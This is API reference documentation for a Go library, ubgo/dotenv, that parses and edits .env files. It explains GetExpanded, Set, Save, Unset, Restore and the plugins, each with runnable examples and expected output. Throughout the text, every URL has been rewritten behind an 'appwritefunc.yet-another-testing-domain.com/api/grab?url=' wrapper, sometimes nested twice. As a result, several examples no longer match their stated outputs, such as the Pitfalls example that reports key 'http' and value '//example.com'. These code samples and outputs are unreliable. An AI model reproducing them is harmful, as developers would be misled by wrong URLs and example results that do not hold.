for _, key := range []string{"DASH", "BRACED_DOT", "BARE_DOT"} {
got, _, err := f.GetExpanded(key)
if err != nil {
fmt.Println(key, "error:", err)
continue
}
fmt.Printf("%s=%q\n", key, got)
}
}
Output: DASH="KEY" BRACED_DOT="dotted" BARE_DOT=".url"
Example (Nesting) ¶
ExampleFile_GetExpanded_nesting shows nested defaults, chains of references (in any order in the file), and the cycle guard: a reference back into a variable that is still being expanded sees only what is defined above it (nothing here), so it resolves to "" and expansion always terminates. The key you asked for is on the stack from the start, so CYCLE_A is cut on its first return: "a", then "b", then nothing. Two separate references to one variable are not a cycle.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
src := "NESTED=${NOPE:-${ALSO_NOPE:-fallback}}\n" +
"INNER=${NOPE:-${LATER}}\n" +
"CHAIN=${BASE}/v1\n" +
"BASE=https://${DOMAIN}\n" +
"DOMAIN=example.com\n" +
"TWICE=${DOMAIN}|${DOMAIN}\n" +
"LATER=defined below\n" +
"CYCLE_A=a${CYCLE_B}\n" +
"CYCLE_B=b${CYCLE_A}\n"
f := dotenv.Parse(src)
for _, key := range []string{"NESTED", "INNER", "CHAIN", "TWICE", "CYCLE_A"} {
got, _, err := f.GetExpanded(key)
if err != nil {
fmt.Println(key, "error:", err)
continue
}
fmt.Printf("%s=%q\n", key, got)
}
}
Output: NESTED="fallback" INNER="defined below" CHAIN="https://example.com/v1" TWICE="example.com|example.com" CYCLE_A="ab"
Example (Operators) ¶
ExampleFile_GetExpanded_operators prints every ${...} operator against a variable that is set, set but empty, and unset. The colon forms treat an empty value like an unset one; the forms without a colon only look at whether the key exists.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
// The three states every operator is checked against.
const header = "SET=value\nEMPTY=\n"
operators := []string{"", ":-def", "-def", ":+alt", "+alt", ":?msg", "?msg"}
names := []string{"SET", "EMPTY", "UNSET"}
fmt.Printf("%-12s %-8s %-8s %s\n", "operator", "SET", "EMPTY", "UNSET")
for _, op := range operators {
cells := make([]string, 0, len(names))
for _, name := range names {
f := dotenv.Parse(header + "R=${" + name + op + "}\n")
got, _, err := f.GetExpanded("R")
cell := fmt.Sprintf("%q", got)
if err != nil {
cell = "error"
}
cells = append(cells, cell)
}
fmt.Printf("%-12s %-8s %-8s %s\n", "${VAR"+op+"}", cells[0], cells[1], cells[2])
}
}
Output: operator SET EMPTY UNSET ${VAR} "value" "" "" ${VAR:-def} "value" "def" "def" ${VAR-def} "value" "" "def" ${VAR:+alt} "alt" "" "" ${VAR+alt} "alt" "alt" "" ${VAR:?msg} "value" error error ${VAR?msg} "value" "" error
Example (SelfReference) ¶
ExampleFile_GetExpanded_selfReference shows a key that refers to itself. As in Docker Compose, the reference sees the definition above the line, so a value can extend an earlier one. With nothing above, it asks the Lookuper and otherwise takes the default.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
src := "PATH_EXTRA=/usr/local/bin\n" +
"PATH_EXTRA=${PATH_EXTRA}:/opt/bin\n" +
"ZONE=${ZONE:-eu-west}\n" +
"REGION=${REGION:-us-east}\n"
lookup := dotenv.WithLookup(func(name string) (string, bool) {
if name == "REGION" {
return "ap-south", true
}
return "", false
})
f := dotenv.Parse(src, lookup)
for _, key := range []string{"PATH_EXTRA", "ZONE", "REGION"} {
got, _, err := f.GetExpanded(key)
if err != nil {
fmt.Println(key, "error:", err)
continue
}
fmt.Printf("%s=%q\n", key, got)
}
}
Output: PATH_EXTRA="/usr/local/bin:/opt/bin" ZONE="eu-west" REGION="ap-south"
func (*File) Has ¶
Has reports whether an active pair exists for key. A commented-out entry does not count — it is not in effect.
Example ¶
ExampleFile_Has checks for an ACTIVE pair. A disabled setting and an inherited name both answer false, because neither is in effect.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
f := dotenv.Parse(content)
fmt.Println("DB_HOST:", f.Has("DB_HOST"))
fmt.Println("DB_USER:", f.Has("DB_USER"))
fmt.Println("HOME:", f.Has("HOME"))
}
Output: DB_HOST: true DB_USER: false HOME: false
func (*File) Inherited ¶
Inherited returns the names declared as inherited-from-the-environment — the Compose name-only lines (`HOME`) — in file order, deduplicated.
The names are DECLARATIONS, not values: this package never reads os.Environ, so resolving them is the caller's job. A caller that wants Compose's behaviour walks this list and applies its own source (os.Getenv, a secret store) with its own precedence — the same layering the package doc prescribes for loading in general.
Example ¶
A line that is just a name means "take this from the environment" in Docker Compose. The package lists those names but never reads the environment; resolving them is your call. A fixed map stands in for os.LookupEnv here so the output is stable.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("DATABASE_URL=postgres://localhost/dev\nHOME\nAWS_REGION\n")
fmt.Println(f.Inherited())
fmt.Println(f.Keys()) // inherited names are not active keys
hostEnv := map[string]string{"HOME": "/srv/app"} // stand-in for os.LookupEnv
env := f.Map()
for _, name := range f.Inherited() {
if v, ok := hostEnv[name]; ok {
env[name] = v
}
}
fmt.Println(len(env), env["HOME"])
}
Output: [HOME AWS_REGION] [DATABASE_URL] 2 /srv/app
func (*File) InsertAfter ¶
InsertAfter places entries immediately after the anchor key's entry.
Returns ErrAnchorNotFound and changes nothing when the anchor has no active entry. Like Append, this is literal placement — use SetAfter for upsert semantics.
Example ¶
InsertAfter places a block right after an anchor key, as one unit and exactly as given. It is the literal twin of SetAfter.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("DB_HOST=localhost\nDB_PORT=5432\nAPP=shop\n")
err := f.InsertAfter("DB_PORT",
dotenv.NewComment("added by the installer"),
dotenv.NewPair("DB_PASSWORD", "s3cret"),
)
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Print(f.Render())
}
Output: DB_HOST=localhost DB_PORT=5432 # added by the installer DB_PASSWORD=s3cret APP=shop
func (*File) InsertBefore ¶
InsertBefore is InsertAfter, placing entries immediately before the anchor.
Example ¶
InsertBefore places entries right before the anchor. Being literal, it adds a duplicate if the key already exists; a missing anchor is an error.
package main
import (
"errors"
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("DB_HOST=localhost\n")
if err := f.InsertBefore("DB_HOST", dotenv.NewPair("DB_DRIVER", "postgres")); err != nil {
fmt.Println("error:", err)
return
}
err := f.InsertBefore("NOPE", dotenv.NewPair("X", "1"))
fmt.Println(errors.Is(err, dotenv.ErrAnchorNotFound))
fmt.Print(f.Render())
}
Output: true DB_DRIVER=postgres DB_HOST=localhost
func (*File) Keys ¶
Keys returns the active keys in file order, without duplicates.
Example ¶
ExampleFile_Keys lists the active keys in file order, each once. Disabled settings and inherited names are left out.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
f := dotenv.Parse(content)
fmt.Println(f.Keys())
}
Output: [DB_HOST DB_PORT]
func (*File) Map ¶
Map returns the effective key/value view: last occurrence wins, matching Get.
Use this to hand the file to something that wants a map. Prefer Pairs when order or duplicates matter.
Example ¶
ExampleFile_Map returns the effective view: one value per key, last line wins, values raw (references not expanded).
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
f := dotenv.Parse(content)
m := f.Map()
fmt.Println(len(m), m["DB_HOST"], m["DB_PORT"])
}
Output: 2 db.internal 5432
func (*File) Mode ¶
Mode returns the file mode Save will apply.
Example ¶
ExampleFile_Mode reports the permissions Save will apply: the file's own mode when it existed, 0600 for a file Save will create, because a .env holds credentials.
package main
import (
"fmt"
"io/fs"
"os"
"path/filepath"
"github.com/ubgo/dotenv"
)
func main() {
// sharedMode is a deliberately wider mode, to show Open keeps it.
const sharedMode fs.FileMode = 0o640
// envFile is the name the example writes inside its own temp directory.
const envFile = ".env"
dir, err := os.MkdirTemp("", "dotenv-mode")
if err != nil {
fmt.Println(err)
return
}
defer func() {
// Cleanup is best-effort; a failure goes to stderr so the example's
// checked stdout output is unaffected.
if err := os.RemoveAll(dir); err != nil {
fmt.Fprintln(os.Stderr, "cleanup:", err)
}
}()
path := filepath.Join(dir, envFile)
fresh, err := dotenv.Open(path)
if err != nil {
fmt.Println(err)
return
}
fmt.Println("missing file:", fresh.Mode())
if err := os.WriteFile(path, []byte("A=1\n"), sharedMode); err != nil {
fmt.Println(err)
return
}
// WriteFile's mode is filtered by the umask; set it exactly.
if err := os.Chmod(path, sharedMode); err != nil {
fmt.Println(err)
return
}
existing, err := dotenv.Open(path)
if err != nil {
fmt.Println(err)
return
}
fmt.Println("existing file:", existing.Mode())
}
Output: missing file: -rw------- existing file: -rw-r-----
func (*File) Pairs ¶
Pairs returns the active pairs in file order.
Duplicates appear as-is, so the caller sees the same view a linear read would give rather than a silently de-duplicated one.
Example ¶
ExampleFile_Pairs lists every active pair in file order, duplicates included: the view a linear read of the file gives.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const content = `# database
DB_HOST=localhost
DB_PORT=5432
# DB_USER=admin
DB_HOST=db.internal
HOME
`
f := dotenv.Parse(content)
for _, p := range f.Pairs() {
fmt.Printf("%s=%s\n", p.Key, p.Value)
}
}
Output: DB_HOST=localhost DB_PORT=5432 DB_HOST=db.internal
func (*File) Plugins ¶
func (f *File) Plugins() []PluginInfo
Plugins reports every installed plugin and what it was detected as.
Use it when a plugin appears to do nothing: a capability missing from this list means the method exists under a different name or signature than the interface requires.
Example ¶
f := Parse("A=1\n", WithLookup(func(string) (string, bool) { return "", false }))
for _, p := range f.Plugins() {
fmt.Println(p)
}
Output: lookup: Lookuper
Example (Firewall) ¶
ExampleFile_Plugins_firewall proves hooks change only what a value reads as; Render still returns the original bytes.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
// Hooks change what a value READS as, never what gets WRITTEN: Render
// returns the original bytes whatever is installed.
const src = "HOST=local\nURL=https://${HOST}/api\n"
f := dotenv.Parse(src,
dotenv.WithLookup(func(string) (string, bool) { return "IGNORED", true }),
dotenv.WithValueTransform(func(_, v string) (string, error) { return "MANGLED-" + v, nil }),
)
v, _, err := f.GetExpanded("URL")
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Println("reads as:", v)
fmt.Println("renders unchanged:", f.Render() == src)
}
Output: reads as: MANGLED-https://local/api renders unchanged: true
Example (Ordering) ¶
ExampleFile_Plugins_ordering shows how several plugins with the same capability combine: first answer wins for lookups, transforms chain, the last runner wins.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
// Each capability combines differently when several plugins hold it.
answer := func(v string) func(string) (string, bool) {
return func(string) (string, bool) { return v, v != "" }
}
prefix := func(p string) func(string, string) (string, error) {
return func(_, v string) (string, error) { return p + v, nil }
}
run := func(tag string) func(string) (string, error) {
return func(cmd string) (string, error) { return tag + ":" + cmd, nil }
}
f := dotenv.Parse("OWN=file\nA=${OWN}\nB=${MISSING}\nC=v\nD=\"$(cmd)\"\n",
// Lookuper: the file wins, then the first plugin that answers.
dotenv.WithLookup(answer("")), // a miss
dotenv.WithLookup(answer("second")), // answers first
dotenv.WithLookup(answer("third")), // never asked
// ValueTransformer: chained in install order.
dotenv.WithValueTransform(prefix("1-")),
dotenv.WithValueTransform(prefix("2-")),
// CommandRunner: a replacement, the last installed wins.
dotenv.WithCommandRunner(run("first")),
dotenv.WithCommandRunner(run("last")),
)
for _, k := range []string{"A", "B", "C", "D"} {
v, _, err := f.GetExpanded(k)
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Printf("%s=%s\n", k, v)
}
}
Output: A=2-1-file B=2-1-second C=2-1-v D=2-1-last:cmd
func (*File) Render ¶
Render produces the file content. For untouched entries this is byte-identical to the source, which is the guarantee the whole package exists to provide.
func (*File) Restore ¶
Restore re-activates the last disabled entry for key, reporting whether one was found. It is the inverse of Unset with del=false.
The exact comment marker recorded when the entry was disabled is removed, so a line the author wrote as "#DB_USER=admin" comes back without inventing a space that was never there.
A commented-out MULTI-LINE value cannot be restored from a re-read file: each of its lines parses as a separate comment, so only the first is recognised as a disabled pair. Within one session, where Unset kept the block together, Restore reverses it completely.
Example ¶
Restore turns a commented-out setting back on. It removes exactly the marker that was there, so "#K=v" (no space) comes back as "K=v", and Unset followed by Restore gives back the original bytes.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const src = "DB_USER=admin\n#DEBUG=true\n"
f := dotenv.Parse(src)
f.Unset("DB_USER", false)
fmt.Println(f.Restore("DB_USER"))
fmt.Println(f.Restore("DEBUG")) // written by hand, no space after '#'
fmt.Println(f.Restore("MISSING")) // nothing to restore
fmt.Print(f.Render())
}
Output: true true false DB_USER=admin DEBUG=true
func (*File) Save ¶
Save writes the rendered file atomically.
A sibling temp file is written at 0600 — never a wider window, even briefly — then chmod'd to the target mode and renamed over the destination. A rename within a directory is atomic, so a reader never observes a half-written credentials file, and a crash mid-save leaves the original intact.
The explicit chmod is required because os.WriteFile's mode argument is filtered by the process umask, so it cannot be relied on to reproduce the original permissions.
Example ¶
Save writes the file back to f.Path through a temp file and a rename, so a reader never sees half a file and no temp file is left behind.
package main
import (
"fmt"
"os"
"path/filepath"
"sort"
"github.com/ubgo/dotenv"
)
// editEnvName is the file name every saving example writes inside its own
// temporary directory. Only this base name is ever printed, never the
// directory, so the output is the same on every machine.
const editEnvName = ".env"
// editTempDir makes a private scratch directory for one example and returns a
// cleanup func. Examples cannot take a *testing.T, so this stands in for
// t.TempDir.
func editTempDir() (string, func()) {
dir, err := os.MkdirTemp("", "dotenv-example-")
if err != nil {
panic(err)
}
return dir, func() {
if rmErr := os.RemoveAll(dir); rmErr != nil {
fmt.Println("cleanup:", rmErr)
}
}
}
// editListDir prints the base names in dir, sorted, so an example can show
// that Save left no temp file behind.
func editListDir(dir string) {
entries, err := os.ReadDir(dir)
if err != nil {
fmt.Println("read dir:", err)
return
}
names := make([]string, 0, len(entries))
for _, e := range entries {
names = append(names, e.Name())
}
sort.Strings(names)
fmt.Println(names)
}
// editReadFile prints a file's exact bytes, quoted so line endings show.
func editReadFile(path string) {
b, err := os.ReadFile(path)
if err != nil {
fmt.Println("read:", err)
return
}
fmt.Printf("%q\n", b)
}
func main() {
dir, cleanup := editTempDir()
defer cleanup()
path := filepath.Join(dir, editEnvName)
f, err := dotenv.Open(path) // a missing file opens empty
if err != nil {
fmt.Println("open:", err)
return
}
fmt.Println("existed:", f.Existed())
f.Set("API_KEY", "secret")
if err := f.Save(); err != nil {
fmt.Println("save:", err)
return
}
editReadFile(path)
editListDir(dir)
}
Output: existed: false "API_KEY=secret\n" [.env]
Example (LineEndings) ¶
Every existing line keeps its own terminator. Lines the package writes use CRLF when the file has any CRLF line, so a Windows file stays CRLF.
package main
import (
"fmt"
"os"
"path/filepath"
"github.com/ubgo/dotenv"
)
// editEnvName is the file name every saving example writes inside its own
// temporary directory. Only this base name is ever printed, never the
// directory, so the output is the same on every machine.
const editEnvName = ".env"
// editTempDir makes a private scratch directory for one example and returns a
// cleanup func. Examples cannot take a *testing.T, so this stands in for
// t.TempDir.
func editTempDir() (string, func()) {
dir, err := os.MkdirTemp("", "dotenv-example-")
if err != nil {
panic(err)
}
return dir, func() {
if rmErr := os.RemoveAll(dir); rmErr != nil {
fmt.Println("cleanup:", rmErr)
}
}
}
// editReadFile prints a file's exact bytes, quoted so line endings show.
func editReadFile(path string) {
b, err := os.ReadFile(path)
if err != nil {
fmt.Println("read:", err)
return
}
fmt.Printf("%q\n", b)
}
func main() {
dir, cleanup := editTempDir()
defer cleanup()
path := filepath.Join(dir, editEnvName)
if err := os.WriteFile(path, []byte("A=1\r\nB=2\r\n"), 0o600); err != nil {
fmt.Println("write:", err)
return
}
f, err := dotenv.Open(path)
if err != nil {
fmt.Println("open:", err)
return
}
f.Set("B", "two")
f.Set("C", "3")
if err := f.Save(); err != nil {
fmt.Println("save:", err)
return
}
editReadFile(path)
mixed := dotenv.Parse("A=1\nB=2\r\n") // mixed stays mixed
mixed.Set("C", "3")
fmt.Printf("%q\n", mixed.Render())
}
Output: "A=1\r\nB=two\r\nC=3\r\n" "A=1\nB=2\r\nC=3\r\n"
Example (Mode) ¶
A new file is created 0600. An existing file keeps its own mode across a save, whatever the process umask is.
package main
import (
"fmt"
"os"
"path/filepath"
"github.com/ubgo/dotenv"
)
// editEnvName is the file name every saving example writes inside its own
// temporary directory. Only this base name is ever printed, never the
// directory, so the output is the same on every machine.
const editEnvName = ".env"
// editTempDir makes a private scratch directory for one example and returns a
// cleanup func. Examples cannot take a *testing.T, so this stands in for
// t.TempDir.
func editTempDir() (string, func()) {
dir, err := os.MkdirTemp("", "dotenv-example-")
if err != nil {
panic(err)
}
return dir, func() {
if rmErr := os.RemoveAll(dir); rmErr != nil {
fmt.Println("cleanup:", rmErr)
}
}
}
func main() {
dir, cleanup := editTempDir()
defer cleanup()
path := filepath.Join(dir, editEnvName)
f, err := dotenv.Open(path)
if err != nil {
fmt.Println("open:", err)
return
}
f.Set("A", "1")
if err := f.Save(); err != nil {
fmt.Println("save:", err)
return
}
info, err := os.Stat(path)
if err != nil {
fmt.Println("stat:", err)
return
}
fmt.Printf("new file: %o\n", info.Mode().Perm())
// The owner widens it on purpose; the next save must keep that choice.
const sharedMode = 0o640
if err := os.Chmod(path, sharedMode); err != nil {
fmt.Println("chmod:", err)
return
}
g, err := dotenv.Open(path)
if err != nil {
fmt.Println("open:", err)
return
}
g.Set("A", "2")
if err := g.Save(); err != nil {
fmt.Println("save:", err)
return
}
info, err = os.Stat(path)
if err != nil {
fmt.Println("stat:", err)
return
}
fmt.Printf("after save: %o\n", info.Mode().Perm())
}
Output: new file: 600 after save: 640
Example (NoPath) ¶
A File from Parse has no Path, so Save refuses. Set Path, or use SaveAs.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("A=1\n")
fmt.Println(f.Save())
}
Output: dotenv: no path set; use Open, or set Path before Save
Example (TrailingNewline) ¶
A file that ended without a newline still ends without one after edits, and a file that had one keeps it.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
without := dotenv.Parse("A=1")
without.Set("B", "2")
with := dotenv.Parse("A=1\n")
with.Set("B", "2")
fmt.Printf("%q\n", without.Render())
fmt.Printf("%q\n", with.Render())
}
Output: "A=1\nB=2" "A=1\nB=2\n"
func (*File) SaveAs ¶
SaveAs writes the file to a different path, leaving f.Path unchanged.
Not mutating f is what makes emitting several variants from one source read cleanly:
f, _ := dotenv.Open(".env.staging")
f.Set("DOMAIN", "acme.io")
f.SaveAs(".env.prod")
f.Set("DOMAIN", "qa.acme.io")
f.SaveAs(".env.qa")
An EXISTING destination keeps its own permissions; a new one is created with this file's mode. Overwriting must never widen a file a user has deliberately locked down, and must never quietly loosen one it is about to fill with secrets.
Example ¶
SaveAs writes to another path and leaves f.Path alone, so one loaded file can emit several variants. A new destination gets this file's mode; an existing one keeps its own.
package main
import (
"fmt"
"os"
"path/filepath"
"sort"
"github.com/ubgo/dotenv"
)
// editTempDir makes a private scratch directory for one example and returns a
// cleanup func. Examples cannot take a *testing.T, so this stands in for
// t.TempDir.
func editTempDir() (string, func()) {
dir, err := os.MkdirTemp("", "dotenv-example-")
if err != nil {
panic(err)
}
return dir, func() {
if rmErr := os.RemoveAll(dir); rmErr != nil {
fmt.Println("cleanup:", rmErr)
}
}
}
// editListDir prints the base names in dir, sorted, so an example can show
// that Save left no temp file behind.
func editListDir(dir string) {
entries, err := os.ReadDir(dir)
if err != nil {
fmt.Println("read dir:", err)
return
}
names := make([]string, 0, len(entries))
for _, e := range entries {
names = append(names, e.Name())
}
sort.Strings(names)
fmt.Println(names)
}
// editReadFile prints a file's exact bytes, quoted so line endings show.
func editReadFile(path string) {
b, err := os.ReadFile(path)
if err != nil {
fmt.Println("read:", err)
return
}
fmt.Printf("%q\n", b)
}
func main() {
dir, cleanup := editTempDir()
defer cleanup()
stagingPath := filepath.Join(dir, ".env.staging")
const src = "DOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\n"
if err := os.WriteFile(stagingPath, []byte(src), 0o600); err != nil {
fmt.Println("write:", err)
return
}
staging, err := dotenv.Open(stagingPath)
if err != nil {
fmt.Println("open:", err)
return
}
variants := []struct{ name, domain string }{ // a slice keeps the order fixed
{"prod", "acme.io"},
{"qa", "qa.acme.io"},
}
for _, v := range variants {
c := staging.Clone()
c.Set("DOMAIN", v.domain)
if err := c.SaveAs(filepath.Join(dir, ".env."+v.name)); err != nil {
fmt.Println("save:", err)
return
}
}
fmt.Println("Path unchanged:", staging.Path == stagingPath)
editListDir(dir)
editReadFile(filepath.Join(dir, ".env.prod"))
editReadFile(stagingPath)
}
Output: Path unchanged: true [.env.prod .env.qa .env.staging] "DOMAIN=acme.io\nAPI_URL=https://api.${DOMAIN}\n" "DOMAIN=staging.acme.io\nAPI_URL=https://api.${DOMAIN}\n"
func (*File) Set ¶
Set updates key to value, appending `KEY=value` when the key is absent.
Returns created=true when appended. The editing rules exist to keep diffs honest:
- only the LAST occurrence is updated, because it is the effective one
- setting the identical value is a byte-level no-op
- everything left of the value (export prefix, the spacing on both sides of the delimiter, and the `=` or `:` delimiter the author chose) and the inline comment after it are preserved exactly — a colon-delimited pair is never rewritten to `=`
- a changed value is re-rendered with canonical quoting (see renderStyle): bare when that reads back the same, double-quoted otherwise, a double-quoted block when it contains newlines, and single- or backtick-quoted when it contains '$', so the value is stored literally. The entry's quote style is updated with it, so GetExpanded agrees before and after the file is saved and read again.
Example ¶
Set updates a key in place, or appends it when it is missing. Everything else in the file keeps its exact bytes.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("# database\nexport DB_HOST = localhost # dev only\n")
updated := f.Set("DB_HOST", "db.internal") // existing: changed in place
created := f.Set("DB_PORT", "5432") // missing: appended at the end
fmt.Println("DB_HOST created:", updated)
fmt.Println("DB_PORT created:", created)
fmt.Print(f.Render())
}
Output: DB_HOST created: false DB_PORT created: true # database export DB_HOST = db.internal # dev only DB_PORT=5432
Example (Dollar) ¶
Set stores a value containing '$' literally, in single quotes, so a password such as "a$b" comes back unchanged from GetExpanded, in this session and after the file is read again.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("")
f.Set("PASSWORD", "a$b")
raw, _ := f.Get("PASSWORD")
expanded, _, err := f.GetExpanded("PASSWORD")
if err != nil {
fmt.Println("expand:", err)
return
}
fmt.Print(f.Render())
fmt.Printf("Get=%q GetExpanded=%q\n", raw, expanded)
}
Output: PASSWORD='a$b' Get="a$b" GetExpanded="a$b"
Example (Duplicates) ¶
With a duplicated key, Set changes the LAST occurrence, because that is the one a reader of the file actually gets.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("MODE=a\nMODE=b\n")
f.Set("MODE", "c")
fmt.Print(f.Render())
}
Output: MODE=a MODE=c
Example (Noop) ¶
Setting the value a key already has changes nothing, byte for byte, even when the value was written with quotes or odd spacing.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const src = "KEY = 'same' # note\n"
f := dotenv.Parse(src)
f.Set("KEY", "same")
fmt.Println(f.Render() == src)
}
Output: true
Example (Quoting) ¶
Set picks the quoting for you: bare when that reads back the same, double quotes when the value has a space, '#', a quote or a backslash, and a double-quoted block when it has newlines.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("")
f.Set("PLAIN", "simple")
f.Set("SPACED", "two words")
f.Set("HASH", "a #b")
f.Set("QUOTED", `say "hi"`)
f.Set("EMPTY", "")
f.Set("PEM", "line one\nline two")
fmt.Print(f.Render())
}
Output: PLAIN=simple SPACED="two words" HASH="a #b" QUOTED="say \"hi\"" EMPTY= PEM="line one line two"
func (*File) SetAfter ¶
SetAfter sets key, placing a NEW entry immediately after the anchor key's entry.
An existing key is updated in place and NOT moved: relocating it would rewrite two regions of the file for a one-value change, and the author put it where it is for a reason. created reports whether an entry was added.
Returns ErrAnchorNotFound if the anchor has no active entry, leaving the file untouched, so a caller can decide between falling back to Set and treating it as a template error.
Example ¶
SetAfter puts a NEW key right after an anchor key, so related settings stay together. A key that already exists is updated where it is, not moved.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("DB_HOST=localhost\nDB_PORT=5432\n\nAPP_NAME=shop\n")
created, err := f.SetAfter("DB_PORT", "DB_PASSWORD", "secret")
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Println("created:", created)
// DB_HOST exists, so it is updated in place; the anchor is not used.
created, err = f.SetAfter("APP_NAME", "DB_HOST", "db.internal")
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Println("created:", created)
fmt.Print(f.Render())
}
Output: created: true created: false DB_HOST=db.internal DB_PORT=5432 DB_PASSWORD=secret APP_NAME=shop
Example (AnchorNotFound) ¶
A missing anchor is an error, and the file is left alone. A commented-out key does not count as an anchor, because it is not active.
package main
import (
"errors"
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const src = "# DB_PORT=5432\n"
f := dotenv.Parse(src)
_, err := f.SetAfter("DB_PORT", "DB_PASSWORD", "secret")
fmt.Println(errors.Is(err, dotenv.ErrAnchorNotFound))
fmt.Println("unchanged:", f.Render() == src)
}
Output: true unchanged: true
func (*File) SetBefore ¶
SetBefore is SetAfter, inserting immediately before the anchor's entry.
Example ¶
SetBefore is SetAfter on the other side of the anchor.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("DB_HOST=localhost\nDB_PORT=5432\n")
created, err := f.SetBefore("DB_HOST", "DB_DRIVER", "postgres")
if err != nil {
fmt.Println("error:", err)
return
}
fmt.Println("created:", created)
fmt.Print(f.Render())
}
Output: created: true DB_DRIVER=postgres DB_HOST=localhost DB_PORT=5432
func (*File) Unset ¶
Unset deactivates key, returning whether it was found. Like Set, it targets the last occurrence.
With del=false every physical line of the entry is commented out: reversible, diff-friendly, and the documentation above it stays attached to something. With del=true the entry is removed outright.
Example ¶
Unset(key, false) comments the setting out, which you can undo later. Unset(key, true) deletes the line. Both report whether the key was active.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
f := dotenv.Parse("OLD_FLAG=1\nLEGACY_URL=http://old\nKEEP=yes\n")
fmt.Println(f.Unset("OLD_FLAG", false)) // comment out
fmt.Println(f.Unset("LEGACY_URL", true)) // delete
fmt.Println(f.Unset("MISSING", false)) // not there
fmt.Print(f.Render())
}
Output: true true false # OLD_FLAG=1 KEEP=yes
type Kind ¶
type Kind int
Kind classifies a parsed entry. Closed set — the parser produces nothing else.
Example ¶
ExampleKind shows the exact line that produces each of the six kinds.
package main
import (
"fmt"
"strings"
"github.com/ubgo/dotenv"
)
func main() {
lines := []string{
"PORT=8080", // a pair
"# a note", // a comment
"", // a blank line
"not a setting!", // unrecognised, kept verbatim
"# DEBUG=true", // a commented-out setting
"export AWS_REGION", // a name with no value: inherited
}
f := dotenv.Parse(strings.Join(lines, "\n") + "\n")
for _, e := range f.Entries() {
fmt.Printf("%-13s %q\n", e.Kind, e.Raw[0])
}
}
Output: pair "PORT=8080" comment "# a note" blank "" other "not a setting!" disabled-pair "# DEBUG=true" inherited "export AWS_REGION"
Example (Pitfalls) ¶
ExampleKind_pitfalls shows lines that parse as something other than what a reader might expect. Each is the documented behaviour, and each line still renders back byte for byte.
package main
import (
"fmt"
"github.com/ubgo/dotenv"
)
func main() {
const content = `# TODO=fix this
# Note: rotate monthly
# Owner: alice
# http://example.com
http://example.com
MY KEY=value
`
f := dotenv.Parse(content)
for _, e := range f.Entries() {
fmt.Printf("%-13s key=%q value=%q\n", e.Kind, e.Key, e.Value)
}
fmt.Println("round trip:", f.Render() == content)
}
Output: disabled-pair key="TODO" value="fix this" comment key="" value="" disabled-pair key="Owner" value="alice" comment key="" value="" pair key="http" value="//example.com" other key="" value="" round trip: true
const ( // KindPair is a KEY=value entry, possibly multi-line and possibly // `export`-prefixed. KindPair Kind = iota // KindComment is a full-line comment: the first non-space character is #. KindComment // KindBlank is an empty or whitespace-only line. KindBlank // KindOther is any line the parser does not recognise. Preserved verbatim // and never touched — an unparseable line is far more likely to be // something the parser has not learned yet than something safe to discard. // // This is a DELIBERATE divergence from compose-go, which errors on an // invalid character in a key (`unexpected character "!" in variable name`) // and refuses the whole file. An editor cannot afford that: erroring would // make an otherwise-valid file unopenable — and so uneditable — because of // one stray line, and "parse, edit, save" must never be blocked by content // it was never going to touch. Preservation over rejection. The cost is // that a malformed pair is silently invisible to Get/Keys/Map rather than // loudly reported; a caller that wants strictness can walk Entries and // treat KindOther as its own error. KindOther // KindDisabledPair is a commented-out setting: "# DB_USER=admin". Key and // Value are populated, but the entry is INACTIVE — Get, Has, Count, and Map // all 